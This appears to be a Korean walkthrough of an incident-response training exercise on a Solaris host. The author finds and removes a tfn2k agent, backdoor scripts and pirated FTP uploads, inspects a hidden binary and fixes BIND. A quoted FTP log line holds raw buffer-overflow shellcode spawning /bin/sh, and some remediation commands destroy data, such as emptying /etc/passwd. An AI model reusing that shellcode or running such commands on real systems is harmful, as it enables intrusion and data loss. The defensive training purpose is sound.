  root    74     1  0   Apr 20 ?        0:00 devfsadmd
  root   185     1  0   Apr 20 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0   Apr 20 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0   Apr 20 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0   Apr 20 ?        0:00 /usr/sbin/cron
  root   445     1  0   Apr 20 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0   Apr 20 ?        0:01 /usr/sbin/nscd
  root   431     1  0   Apr 20 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0   Apr 20 ?        0:00 /usr/sbin/in.named
  root   467     1  0   Apr 20 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0   Apr 20 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0   Apr 20 ?        0:00 /usr/lib/power/powerd
  root   480     1  0   Apr 20 ?        0:00 /usr/lib/lpsched
  root   530   528  0   Apr 20 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0   Apr 20 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0   Apr 20 ?        0:01 /usr/sbin/vold
  root   515     1  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0   Apr 20 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 24707 24699  0 00:16:01 pts/2    0:00 sh
  root   596     1  0   Apr 20 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0   Apr 20 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0   Apr 20 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0   Apr 20 ?        0:00 mibiisa -r -p 32797
  root   661     1  0   Apr 20 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0   Apr 20 ?        0:00 /usr/lib/saf/ttymon
  root 22175 22094  0 23:40:49 pts/3    0:00 login -p -d /dev/pts/3 -h 210.99.
66.1
  root   699     1  0   Apr 20 ?        0:00 /usr/lib/saf/sac -t 300
  root 22094   418  0 23:39:29 ?        0:00 in.telnetd
  root 24663 24569  0 00:15:48 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root 24569   418  0 00:14:28 ?        0:00 in.telnetd
  root  3374   636  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0   Apr 20 ?        0:00 /usr/openwin/bin/fbconsole -d :0
  root 24719 24707  0 00:16:11 pts/2    0:00 ps -ef


after :

# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0   Apr 20 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0   Apr 20 ?        0:00 ipmon -Ds
  root    65     1  0   Apr 20 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0   Apr 20 ?        1:43 /usr/lib/picl/picld
  root    74     1  0   Apr 20 ?        0:00 devfsadmd
  root   185     1  0   Apr 20 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0   Apr 20 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0   Apr 20 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0   Apr 20 ?        0:00 /usr/sbin/cron
  root   445     1  0   Apr 20 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0   Apr 20 ?        0:01 /usr/sbin/nscd
  root   431     1  0   Apr 20 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0   Apr 20 ?        0:00 /usr/sbin/in.named
  root   467     1  0   Apr 20 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0   Apr 20 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0   Apr 20 ?        0:00 /usr/lib/power/powerd
  root   480     1  0   Apr 20 ?        0:00 /usr/lib/lpsched
  root   530   528  0   Apr 20 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0   Apr 20 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0   Apr 20 ?        0:01 /usr/sbin/vold
  root   515     1  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0   Apr 20 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 24707 24699  0 00:16:01 pts/2    0:00 sh
  root   596     1  0   Apr 20 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0   Apr 20 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0   Apr 20 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0   Apr 20 ?        0:00 mibiisa -r -p 32797
  root   661     1  0   Apr 20 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0   Apr 20 ?        0:00 /usr/lib/saf/ttymon
  root 22175 22094  0 23:40:49 pts/3    0:00 login -p -d /dev/pts/3 -h 210.99.
66.1
  root   699     1  0   Apr 20 ?        0:00 /usr/lib/saf/sac -t 300
  root 22094   418  0 23:39:29 ?        0:00 in.telnetd
  root 24663 24569  0 00:15:48 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root 24569   418  0 00:14:28 ?        0:00 in.telnetd
  root  3374   636  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0   Apr 20 ?        0:00 /usr/openwin/bin/fbconsole -d :0
  root 24719 24707  0 00:16:11 pts/2    0:00 ps -ef
# challenge 10
Now, You are challenging question 10.
Good Luck!
# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0   Apr 20 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0   Apr 20 ?        0:00 ipmon -Ds
  root    65     1  0   Apr 20 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0   Apr 20 ?        1:43 /usr/lib/picl/picld
  root    74     1  0   Apr 20 ?        0:00 devfsadmd
  root   185     1  0   Apr 20 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0   Apr 20 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0   Apr 20 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0   Apr 20 ?        0:00 /usr/sbin/cron
  root   445     1  0   Apr 20 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0   Apr 20 ?        0:01 /usr/sbin/nscd
  root   431     1  0   Apr 20 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0   Apr 20 ?        0:00 /usr/sbin/in.named
  root   467     1  0   Apr 20 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0   Apr 20 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0   Apr 20 ?        0:00 /usr/lib/power/powerd
  root   480     1  0   Apr 20 ?        0:00 /usr/lib/lpsched
  root   530   528  0   Apr 20 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0   Apr 20 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0   Apr 20 ?        0:01 /usr/sbin/vold
  root   515     1  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0   Apr 20 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 24707 24699  0 00:16:01 pts/2    0:00 sh
  root   596     1  0   Apr 20 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0   Apr 20 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0   Apr 20 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0   Apr 20 ?        0:00 mibiisa -r -p 32797
  root   661     1  0   Apr 20 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0   Apr 20 ?        0:00 /usr/lib/saf/ttymon
  root 22175 22094  0 23:40:49 pts/3    0:00 login -p -d /dev/pts/3 -h 210.99.
66.1
  root   699     1  0   Apr 20 ?        0:00 /usr/lib/saf/sac -t 300
  root 22094   418  0 23:39:29 ?        0:00 in.telnetd
  root 24783 24707  0 00:16:38 pts/2    0:00 ps -ef
  root 24663 24569  0 00:15:48 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root 24569   418  0 00:14:28 ?        0:00 in.telnetd
  root  3374   636  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0   Apr 20 ?        0:00 /usr/openwin/bin/fbconsole -d :0
  root 24767     1  0 00:16:36 ?        0:00 /dev/tfn2k

의심되는 프로세스인 /dev/tfn2k를 발견할 수 있습니다.

# cd /etc/rc.d
# ls -al
total 463
drwxr-xr-x    2 root     other         512 Apr 22 00:16 .
drwxr-xr-x   44 root     sys         12800 Apr 22 00:15 ..
-rw-------    1 root     other      449392 May 13  2006 core
-rw-r--r--    1 root     other         233 Apr 22 00:16 rc.local
# cat rc.local
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
/dev/tfn2k
#

삭제 작업을 행해 줍니다.

# kill -9 25420
# cat /dev/null > /etc/rc.d/rc.local
# cd /dev
# ls tfn2k -al
-r-xr--r--    1 root     other      114132 Apr 22 00:23 tfn2k
# chattr -i tfn2k
# rm -rf tfn2k

# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Congratz! You made a success of challenge!

=====================================================
Question 11 -  특정 사고별 분석
=====================================================

before :

# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0   Apr 20 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0   Apr 20 ?        0:00 ipmon -Ds
  root 26107 24707  0 00:28:40 pts/2    0:00 ps -ef
  root    65     1  0   Apr 20 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0   Apr 20 ?        1:44 /usr/lib/picl/picld
  root    74     1  0   Apr 20 ?        0:00 devfsadmd
  root   185     1  0   Apr 20 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0   Apr 20 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0   Apr 20 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0   Apr 20 ?        0:00 /usr/sbin/cron
  root   445     1  0   Apr 20 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0   Apr 20 ?        0:01 /usr/sbin/nscd
  root   431     1  0   Apr 20 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0   Apr 20 ?        0:00 /usr/sbin/in.named
  root   467     1  0   Apr 20 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0   Apr 20 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0   Apr 20 ?        0:00 /usr/lib/power/powerd
  root   480     1  0   Apr 20 ?        0:00 /usr/lib/lpsched
  root   530   528  0   Apr 20 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0   Apr 20 ?        0:00 /usr/lib/sendmail -bd -q15m
  root   517   515  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0   Apr 20 ?        0:01 /usr/sbin/vold
  root   515     1  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0   Apr 20 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 24707 24699  0 00:16:01 pts/2    0:00 sh
  root   596     1  0   Apr 20 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0   Apr 20 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0   Apr 20 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0   Apr 20 ?        0:00 mibiisa -r -p 32797
  root   661     1  0   Apr 20 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0   Apr 20 ?        0:00 /usr/lib/saf/ttymon
  root 22175 22094  0 23:40:49 pts/3    0:00 login -p -d /dev/pts/3 -h 210.99.
66.1
  root   699     1  0   Apr 20 ?        0:00 /usr/lib/saf/sac -t 300
  root 22094   418  0 23:39:29 ?        0:00 in.telnetd
  root 24663 24569  0 00:15:48 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root 24569   418  0 00:14:28 ?        0:00 in.telnetd
  root  3374   636  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0   Apr 20 ?        0:00 /usr/openwin/bin/fbconsole -d :0

after :

# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0   Apr 20 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0   Apr 20 ?        0:00 ipmon -Ds
  root 26737     1  0 00:32:52 ?        0:00 /usr/src/.poop/hackl.sh
  root    65     1  0   Apr 20 ?        0:00 /usr/lib/sysevent/syseventd
  root    79     1  0   Apr 20 ?        1:44 /usr/lib/picl/picld
  root    74     1  0   Apr 20 ?        0:00 devfsadmd
  root   185     1  0   Apr 20 ?        0:00 /usr/lib/inet/in.ndpd
  root   418     1  0   Apr 20 ?        0:00 /usr/sbin/rcinetd -s
  root   204     1  0   Apr 20 ?        0:00 /usr/sbin/rpcbind
  root   454     1  0   Apr 20 ?        0:00 /usr/sbin/cron
  root   445     1  0   Apr 20 ?        0:00 /usr/sbin/rcsyslogd
  root   469     1  0   Apr 20 ?        0:01 /usr/sbin/nscd
  root   431     1  0   Apr 20 ?        0:00 /usr/lib/nfs/lockd
  root   419     1  0   Apr 20 ?        0:00 /usr/sbin/in.named
  root   467     1  0   Apr 20 ?        0:00 /usr/platform/SUNW,Sun-Fire-880/l
ib/sf880drd
  root   438     1  0   Apr 20 ?        0:00 /usr/lib/autofs/automountd
  root   496     1  0   Apr 20 ?        0:00 /usr/lib/power/powerd
  root   480     1  0   Apr 20 ?        0:00 /usr/lib/lpsched
  root   530   528  0   Apr 20 ?        0:00 htt_server -port 9010 -syslog -me
ssage_locale C
  root   525     1  0   Apr 20 ?        0:00 /usr/lib/sendmail -bd -q15m
  root 26883 24707  0 00:33:39 pts/2    0:00 ps -ef
  root   517   515  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   521     1  0   Apr 20 ?        0:01 /usr/sbin/vold
  root   515     1  0   Apr 20 ?        0:00 /usr/sadm/lib/smc/bin/smcboot
  root   528     1  0   Apr 20 ?        0:00 /usr/lib/im/htt -port 9010 -syslo
g -message_locale C
  root 24707 24699  0 00:16:01 pts/2    0:00 sh
  root   596     1  0   Apr 20 ?        0:00 /usr/lib/snmp/snmpdx -y -c /etc/s
nmp/conf
  root   561     1  0   Apr 20 ?        0:00 /usr/lib/efcode/sparcv9/efdaemon
  root  8974     1  0 13:38:07 ?        0:00 /usr/sbin/sadmind
  root   689     1  0   Apr 20 ?        0:00 /usr/lib/dmi/snmpXdmid -s cert
  root   636     1  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root   656   596  0   Apr 20 ?        0:00 mibiisa -r -p 32797
  root   661     1  0   Apr 20 ?        0:00 /usr/lib/dmi/dmispd
  root   734   699  0   Apr 20 ?        0:00 /usr/lib/saf/ttymon
  root 22175 22094  0 23:40:49 pts/3    0:00 login -p -d /dev/pts/3 -h 210.99.
66.1
  root   699     1  0   Apr 20 ?        0:00 /usr/lib/saf/sac -t 300
  root 22094   418  0 23:39:29 ?        0:00 in.telnetd
  root 26745     1  0 00:32:52 ?        0:00 /usr/src/.poop/hackw.sh
  root 24663 24569  0 00:15:48 pts/2    0:00 login -p -d /dev/pts/2 -h 59.5.43
.67
  root 24569   418  0 00:14:28 ?        0:00 in.telnetd
  root  3374   636  0   Apr 20 ?        0:00 /usr/dt/bin/dtlogin -daemon
  root  3375   636  0   Apr 20 ?        0:00 /usr/openwin/bin/fbconsole -d :0
  root 26769     1  0 00:32:52 ?        0:00 /usr/src/.poop/synscan
  root 26753     1  0 00:32:52 ?        0:00 /usr/src/.poop/scan.sh
  root 26761     1  0 00:32:52 ?        0:00 /usr/src/.poop/start.sh

삭제 작업에 들어갑니다.

# kill -9 26761
# kill -9 26753
# kill -9 26769
# kill -9 26745
# kill -9 26737
# rm -rf /usr/src/.poop/
rm: cannot remove `/usr/src/.poop//core': Permission denied
# rm -rf /sbin/asp
# cat /dev/null > /etc/inetd.conf
# cd /etc/rc.d
# ls -al
total 484
drwxr-xr-x    2 root     other         512 Apr 22 00:32 .
drwxr-xr-x   44 root     sys         12800 Apr 22 00:15 ..
-rw-------    1 root     other      449392 May 13  2006 core
-rw-r--r--    1 root     other       22407 Apr 22 00:32 rc.sysinit
# cat /dev/null > rc.sysinit

# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Congratz! You made a success of challenge!

=====================================================
Question 12 -  불법 Upload에 대한 대처
=====================================================

# find / -name ftp 2> /dev/null
/usr/bin/ftp
/usr/ucb/ftp
/mnt/etc/pam.d/ftp
/mnt/home/ftp
/mnt/usr/bin/ftp
/home/ftp
/home1/user001/ftp
# cd /home/ftp
# ls -al
total 6
drwxr-xr-x    6 root     root          512 Nov  5  2000 .
drwxr-xr-x    6 root     root          512 Nov 30  2004 ..
d--x--x--x    2 root     root          512 Nov  5  2000 bin
d--x--x--x    2 root     root          512 Nov  5  2000 etc
drwxr-xr-x    2 root     root          512 Nov  5  2000 lib
drwxr-sr-x    2 root     50            512 Feb  5  2000 pub
# cd /home1/user001/ftp
# ls -al
total 5
drwxr-xr-x    5 root     other         512 Apr 22 00:37 .
drwxr-xr-x    3 user001  training      512 Apr 22 00:37 ..
drwxr-xr-x    2 root     other         512 Apr 22 00:37 bin
drwxr-xr-x    2 root     other         512 Apr 22 00:37 etc
drwxr-xr-x    2 root     other         512 Apr 22 00:37 incoming
# cd incoming
# ls -al
total 2
drwxr-xr-x    2 root     other         512 Apr 22 00:37 .
drwxr-xr-x    5 root     other         512 Apr 22 00:37 ..
-rw-r--r--    1 root     other           0 Apr 22 00:37 Home.Alone.1.avi
-rw-r--r--    1 root     other           0 Apr 22 00:37 Home.Alone.3.DVDRip.
.MM4.cDiAMOND.avi
-rw-r--r--    1 root     other           0 Apr 22 00:37 Home.Alone.4.2002.ST
Drip.XVID.avi
-rw-r--r--    1 root     other           0 Apr 22 00:37 Home.Alone.II.Lost.I
w.York.AC3.CD1-ADD.avi
-rw-r--r--    1 root     other           0 Apr 22 00:37 Home.Alone.II.Lost.I
w.York.AC3.CD2-ADD.avi
# rm -rf *
# ls -al
total 2
drwxr-xr-x    2 root     other         512 Apr 22 00:39 .
drwxr-xr-x    5 root     other         512 Apr 22 00:37 ..
# cd ..
# ls -al
total 5
drwxr-xr-x    5 root     other         512 Apr 22 00:37 .
drwxr-xr-x    3 user001  training      512 Apr 22 00:37 ..
drwxr-xr-x    2 root     other         512 Apr 22 00:37 bin
drwxr-xr-x    2 root     other         512 Apr 22 00:37 etc
drwxr-xr-x    2 root     other         512 Apr 22 00:39 incoming
# cat > .rhosts
# cat > .foward
# ls -al
total 5
drwxr-xr-x    5 root     other         512 Apr 22 00:39 .
drwxr-xr-x    3 user001  training      512 Apr 22 00:37 ..
-rw-r--r--    1 root     other           0 Apr 22 00:39 .foward
-rw-r--r--    1 root     other           0 Apr 22 00:39 .rhosts
drwxr-xr-x    2 root     other         512 Apr 22 00:37 bin
drwxr-xr-x    2 root     other         512 Apr 22 00:37 etc
drwxr-xr-x    2 root     other         512 Apr 22 00:39 incoming
# chmod 000 .foward
# chmod 000 .rhosts
# ls -al
total 5
drwxr-xr-x    5 root     other         512 Apr 22 00:39 .
drwxr-xr-x    3 user001  training      512 Apr 22 00:37 ..
----------    1 root     other           0 Apr 22 00:39 .foward
----------    1 root     other           0 Apr 22 00:39 .rhosts
drwxr-xr-x    2 root     other         512 Apr 22 00:37 bin
drwxr-xr-x    2 root     other         512 Apr 22 00:37 etc
drwxr-xr-x    2 root     other         512 Apr 22 00:39 incoming
# cd ..
# ls -al
total 8
drwxr-xr-x    3 user001  training      512 Apr 22 00:37 .
drwxr-xr-x  108 root     root         2048 Apr 17 17:49 ..
-rw-r--r--    1 user001  training      185 Apr 22 00:15 .profile
drwxr-xr-x    5 root     other         512 Apr 22 00:39 ftp
-rw-r--r--    1 user001  training      124 Apr 22 00:15 local.cshrc
-rw-r--r--    1 user001  training      607 Apr 22 00:15 local.login
-rw-r--r--    1 user001  training      582 Apr 22 00:15 local.profile
# chown root ftp
# chmod 555 ftp
# cd ./ftp/
# ls -al
total 5
dr-xr-xr-x    5 root     other         512 Apr 22 00:39 .
drwxr-xr-x    3 user001  training      512 Apr 22 00:37 ..
----------    1 root     other           0 Apr 22 00:39 .foward
----------    1 root     other           0 Apr 22 00:39 .rhosts
drwxr-xr-x    2 root     other         512 Apr 22 00:37 bin
drwxr-xr-x    2 root     other         512 Apr 22 00:37 etc
drwxr-xr-x    2 root     other         512 Apr 22 00:39 incoming
# chmod 111 bin
# chmod 111 etc

# ps -ef | grep ftp
  root 28156 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28145 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28158 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28159 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28155 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28154 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28147 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28151 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28150 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28149 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28148 28143  0 00:42:26 ?        0:00 in.ftpd
  root 28526 24707  0 00:46:38 pts/2    0:00 grep ftp
  root 28146 28143  0 00:42:26 ?        0:00 in.ftpd
# kill -9 28156
# kill -9 28145
# kill -9 28158
# kill -9 28159
# kill -9 28154
# kill -9 28147
# kill -9 28151
# kill -9 28149
# kill -9 28148
# kill -9 28146

# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Congratz! You made a success of challenge!



=====================================================
Question 13 -  악성 프로그램 분석 절차 습득 =====================================================

# ls -alQ
total 537
drwxr-xr-x    2 root     other         512 Apr 22 00:58 "."
drwxr-xr-x    5 root     other         512 May  6  2006 ".."
-r-xr--r--    1 root     other       80896 Apr 22 00:58 ".. "
-rw-------    1 root     other      457584 May  6  2006 "core"

파일이 하나 숨겨져 있는것을 볼 수 있습니다.

파일을 home으로 복사해 옵니다.

# cp ".. " /home1/user001/
# cd /home1/user001
# ls -al
total 86
drwxr-xr-x    2 user001  training      512 Apr 22 01:00 .
drwxr-xr-x  108 root     root         2048 Apr 17 17:49 ..
-rw-r--r--    1 root     other       80896 Apr 22 01:00 ..
-rw-r--r--    1 user001  training      185 Apr 22 00:15 .profile
-rw-r--r--    1 user001  training      124 Apr 22 00:15 local.cshrc
-rw-r--r--    1 user001  training      607 Apr 22 00:15 local.login
-rw-r--r--    1 user001  training      582 Apr 22 00:15 local.profile
# tar -xvf ".. "
x ./.ami, 79132 bytes, 155 tape blocks
# ls -al
total 164
drwxr-xr-x    2 user001  training      512 Apr 22 01:00 .
drwxr-xr-x  108 root     root         2048 Apr 17 17:49 ..
-rw-r--r--    1 root     other       80896 Apr 22 01:00 ..
-rwxr-xr-x    1 root     other       79132 Dec 24  2003 .ami
-rw-r--r--    1 user001  training      185 Apr 22 00:15 .profile
-rw-r--r--    1 user001  training      124 Apr 22 00:15 local.cshrc
-rw-r--r--    1 user001  training      607 Apr 22 00:15 local.login
-rw-r--r--    1 user001  training      582 Apr 22 00:15 local.profile
# file .ami
.ami:           ELF 32-bit MSB executable SPARC Version 1, dynamically linked, n
ot stripped

파일로 부터 정보를 수집합니다.

# strings .ami
dotdot
/bin
/sbin
/etc
/usr/bin
/usr/sbin
/usr/ucb
/usr/ccs/bin
/usr/local/bin
/usr/local/sbin
/opt
This programm is running on U  x environment
aion@   .net
TCP 1   5
%s/%s/pid%d.%s
.cache
/etc/.evrc
RC_ROOT
Error : Unknown system error.
Error : Not a training user.
Removing %s/*..

# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > 의심스러운 프로그램의 실행 운영체제 환경은?
Answer > U  x
Question > 이 프로그램을 작성한 것으로 간주되는 사람의 메일 주소는?
Answer > aion@   .net
Question > 악성 프로그램이 사용할 것으로 의심되는 서비스와 포트는(예 TCP 23)?
Answer > TCP 1   5
Congratz! You made a success of challenge!


=====================================================
Question 14 -  Monitoring
=====================================================

# kill -9 1591
# ls /usr/lib/.*bug* -al
-r-xr--r--    1 root     other      115624 Apr 22 01:20 /usr/lib/.bugtraq
-rw-r--r--    1 root     other           0 Apr 22 01:20 /usr/lib/.bugtraq.c
-rw-r--r--    1 root     other           0 Apr 22 01:20 /usr/lib/.uubugtraq
# rm -rf /usr/lib/.bugtraq
# rm -rf /usr/lib/.bugtraq.c
# rm -rf /usr/lib/.uubugtraq
#

#
  finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Congratz! You made a success of challenge!

=====================================================
Question 15 -  Investigation
=====================================================

ftp 관련 문제점이라고 하길래,
log에서 ftp 관련된게 있나 찾아 보았습니다.

# cat messages* | grep ftp

Apr 20 20:17:24 cert inetd[418]: [ID 965992 daemon.error] ftp/tcp: unknown servi
ce
cat: cannot open Sep 28 14:46:25 victim ftpd[14989]: ANONYMOUS FTP LOGIN FROM gr
over.tester.org [192.168.222.1], ???????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????????????
????????????????????????????????1A1U1E°FI?1A1UC‰UA°?I?ek^1A1E?^^A?F^Df¹y^A
°'I?1A?^^A°=I?1A1U?^^H‰C^B1EþE1A?^^H°^LI?þEuo1A?F^I?^^H°=I?þ^N°0þE
?F^D1A?F^G‰v^H‰F^L‰o?N^H?V^L°^KI?1A1U°^AI?e?yyy0bin0sh1..11
4
Sep 28 14:46:25 victim ftpd[14989]: ANONYMOUS FTP LOGIN FROM grover.tester.org [
192.168.222.1], ????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????????????
???????????????1A1U1E°FI?1A1UC‰UA°?I?ek^1A1E?^^A?F^Df¹y^A°'I?1A?^^A°=I
?1A1U?^^H‰C^B1EþE1A?^^H°^LI?þEuo1A?F^I?^^H°=I?þ^N°0þE?F^D1A?F^G‰v^H
‰F^L‰o?N^H?V^L°^KI?1A1U°^AI?e?yyy0bin0sh1..11

무언가 공격을 시도한 것으로 보입니다.
이제 inetd.conf를 unset해주고 inetd 데몬을 재시작 시켜 줍니다.

#
  cat /dev/null > /etc/inetd.conf
# ps -ef | grep inetd
  root   418     1  0   Apr 20 ?        0:00 /usr/sbin/rcinetd -s
  root  8394     1  0 11:06:56 ?        0:00 /usr/sbin/inetd -s
  root  8525  6638  0 11:08:59 pts/2    0:00 grep inetd
# kill -HUP 8394
#

  finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Question > 로그 기록상 공격자의 IP 로 추정되는 곳은?
Answer >
        192.168.222.1
Congratz! You made a success of challenge!


=====================================================
Question 16 -  시스템 상태 분석
=====================================================

파일 크기가 다르면 잘 안되나 보다 -_- fuck..

=====================================================
Question 17 -  BIND 취약점
=====================================================

/etc/named.conf에 다음과 같은 한줄을 추가 시켜줍니다.

# vi /etc/named.conf
"/etc/named.conf" 21 lines, 331 characters
options {
      recursion no;      
      directory "/var/named";      
};

저장하고, /usr/sbin/named를 실행시켜주면 끝입니다.

# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Congratz! You made a success of challenge!



=====================================================
Question 18 -  로그설정(서버, 라우터)
=====================================================

이 문제는 현재 풀이가 불가능한 상태로 보인다.

=====================================================
Question 19 -  로그 분석 영역
=====================================================

# challenge 19
Now, You are challenging question 19.
Good Luck!
# /usr/local/bin/chklastlog
user vision deleted or never loged from lastlog!
# cat /dev/null > /etc/passwd
# cd /home1/vision
# ls -al
total 11
drwxr-xr-x    2 root     other        2560 Apr 22 13:10 .
drwxr-xr-x  108 root     root         2048 Apr 17 17:49 ..
-rw-r--r--    1 root     other        5381 Apr 22 13:10 zap2.c
# rm -rf zap2.c


# finish
Do you want to check your result of challenge?
Select [Y]es or [N]o : y
Congratz! You made a success of challenge!


=====================================================
Question 20 -  특정 사고별 분석
=====================================================

# ps -ef
    UID   PID  PPID  C    STIME TTY      TIME CMD
  root   700     1  0   Apr 20 console  0:00 /usr/lib/saf/ttymon -g -h -p cert
console login:  -T sun -d /dev/console -l con
  root   168     1  0   Apr 20 ?        0:00 ipmon -Ds
